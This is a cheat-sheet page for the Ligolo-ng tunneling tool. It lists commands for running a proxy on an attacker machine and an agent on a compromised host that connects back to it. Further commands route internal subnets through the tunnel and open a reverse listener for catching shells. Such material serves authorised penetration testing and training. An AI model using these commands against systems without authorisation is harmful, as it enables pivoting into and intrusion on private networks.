Skip to content

Ligolo-ng

9 commands

A modern tunneling tool that exposes internal networks through a lightweight TUN interface — pivot without proxychains, using normal routing.

  • pivoting
  • tunneling
  • VPN
  • TUN

Install Ligolo-ng

Download proxy and agent binaries from https://github.com/nicocha30/ligolo-ng/releases

Proxy (attacker)3

./proxy -selfcert

Starts the ligolo-ng proxy with a self-signed certificate and opens its console.

ifconfig / ip tuntap add user <you> mode tun ligolo

Creates the ligolo TUN interface the proxy routes through.

Link
sudo ip link set ligolo up

Brings the TUN interface up.

Agent (compromised host)2

./agent -connect <attacker>:<port>

Run on the pivot host; connects back to the proxy and appears as a session.

Link
./agent -connect <attacker>:<port> -ignore-cert

Accepts the self-signed certificate.

Link

Routing (in the proxy console)4

session

Lists connected agents; pick one to make it active.

sudo ip route add <subnet> dev ligolo

Routes an internal subnet through the active session — then use tools normally, no proxychains needed.

Link
start

Starts the tunnel for the selected session.

listener_add --addr 0.0.0.0:<p> --to 127.0.0.1:<p>

Opens a reverse port on the agent that forwards to you — handy for catching shells from the internal network.

Link